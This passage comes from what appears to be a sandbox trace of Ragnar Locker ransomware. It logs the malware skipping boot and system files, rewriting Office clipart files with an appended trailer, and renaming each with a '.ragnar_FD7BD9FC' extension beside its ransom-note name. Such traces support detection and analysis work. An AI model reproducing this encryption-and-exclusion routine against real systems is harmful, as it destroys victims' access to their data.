lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" [0085.671] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.ragnar_FD7BD9FC" [0085.671] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.671] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1 [0085.671] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.671] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0188669.WMF" | out: lpString1="J0188669.WMF") returned="J0188669.WMF" [0085.671] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned=".WMF" [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="autorun.inf") returned 1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="boot.ini") returned 1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="bootfont.bin") returned 1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="bootsect.bak") returned 1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="bootmgr") returned 1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="bootmgr.efi") returned 1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="bootmgfw.efi") returned 1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="desktop.ini") returned 1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="iconcache.db") returned 1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="ntldr") returned -1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="ntuser.dat") returned -1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="ntuser.dat.log") returned -1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="ntuser.ini") returned -1 [0085.672] lstrcmpiW (lpString1="J0188669.WMF", lpString2="thumbs.db") returned -1 [0085.672] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.672] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.672] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.672] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.672] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.672] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.672] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf")) returned 0x20 [0085.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.673] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29602) returned 1 [0085.673] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7399, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.673] GetProcessHeap () returned 0x580000 [0085.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.673] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.675] VirtualAlloc (lpAddress=0x0, dwSize=0x73a2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.675] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x73a2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x73a2, lpOverlapped=0x0) returned 1 [0085.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.677] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x73a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.677] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x73a2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x73a2, lpOverlapped=0x0) returned 1 [0085.677] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x73a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.677] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x73a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.677] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.677] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.677] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.677] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.678] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.678] GetProcessHeap () returned 0x580000 [0085.678] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.678] CloseHandle (hObject=0xf4) returned 1 [0085.678] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" [0085.678] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.ragnar_FD7BD9FC" [0085.678] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.678] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1 [0085.678] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.678] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0188679.WMF" | out: lpString1="J0188679.WMF") returned="J0188679.WMF" [0085.678] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned=".WMF" [0085.678] lstrcmpiW (lpString1="J0188679.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="autorun.inf") returned 1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="boot.ini") returned 1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="bootfont.bin") returned 1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="bootsect.bak") returned 1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="bootmgr") returned 1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="bootmgr.efi") returned 1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="bootmgfw.efi") returned 1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="desktop.ini") returned 1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="iconcache.db") returned 1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="ntldr") returned -1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="ntuser.dat") returned -1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="ntuser.dat.log") returned -1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="ntuser.ini") returned -1 [0085.679] lstrcmpiW (lpString1="J0188679.WMF", lpString2="thumbs.db") returned -1 [0085.679] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.679] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.679] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.679] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.679] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.679] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.679] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf")) returned 0x20 [0085.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.680] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13162) returned 1 [0085.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3361, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.680] GetProcessHeap () returned 0x580000 [0085.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.680] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.681] VirtualAlloc (lpAddress=0x0, dwSize=0x336a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.681] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x336a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x336a, lpOverlapped=0x0) returned 1 [0085.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x336a, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.682] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x336a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x336a, lpOverlapped=0x0) returned 1 [0085.683] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x336a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.683] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.683] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x336a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.683] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.683] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.683] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.683] GetProcessHeap () returned 0x580000 [0085.683] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.683] CloseHandle (hObject=0xf4) returned 1 [0085.684] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" [0085.684] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.ragnar_FD7BD9FC" [0085.684] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1 [0085.684] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.684] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0195248.WMF" | out: lpString1="J0195248.WMF") returned="J0195248.WMF" [0085.684] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned=".WMF" [0085.684] lstrcmpiW (lpString1="J0195248.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.684] lstrcmpiW (lpString1="J0195248.WMF", lpString2="autorun.inf") returned 1 [0085.684] lstrcmpiW (lpString1="J0195248.WMF", lpString2="boot.ini") returned 1 [0085.684] lstrcmpiW (lpString1="J0195248.WMF", lpString2="bootfont.bin") returned 1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="bootsect.bak") returned 1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="bootmgr") returned 1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="bootmgr.efi") returned 1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="bootmgfw.efi") returned 1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="desktop.ini") returned 1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="iconcache.db") returned 1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="ntldr") returned -1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="ntuser.dat") returned -1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="ntuser.dat.log") returned -1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="ntuser.ini") returned -1 [0085.685] lstrcmpiW (lpString1="J0195248.WMF", lpString2="thumbs.db") returned -1 [0085.685] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.685] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.685] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.685] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.685] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.685] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.685] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf")) returned 0x20 [0085.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.686] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7332) returned 1 [0085.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.686] GetProcessHeap () returned 0x580000 [0085.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.686] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.687] VirtualAlloc (lpAddress=0x0, dwSize=0x1ca4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.687] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ca4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ca4, lpOverlapped=0x0) returned 1 [0085.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ca4, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.688] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ca4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ca4, lpOverlapped=0x0) returned 1 [0085.689] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ca4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.689] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.689] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.689] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.689] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.689] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.689] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.689] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.689] GetProcessHeap () returned 0x580000 [0085.689] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.689] CloseHandle (hObject=0xf4) returned 1 [0085.689] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" [0085.689] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.ragnar_FD7BD9FC" [0085.689] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.ragnar_fd7bd9fc"), 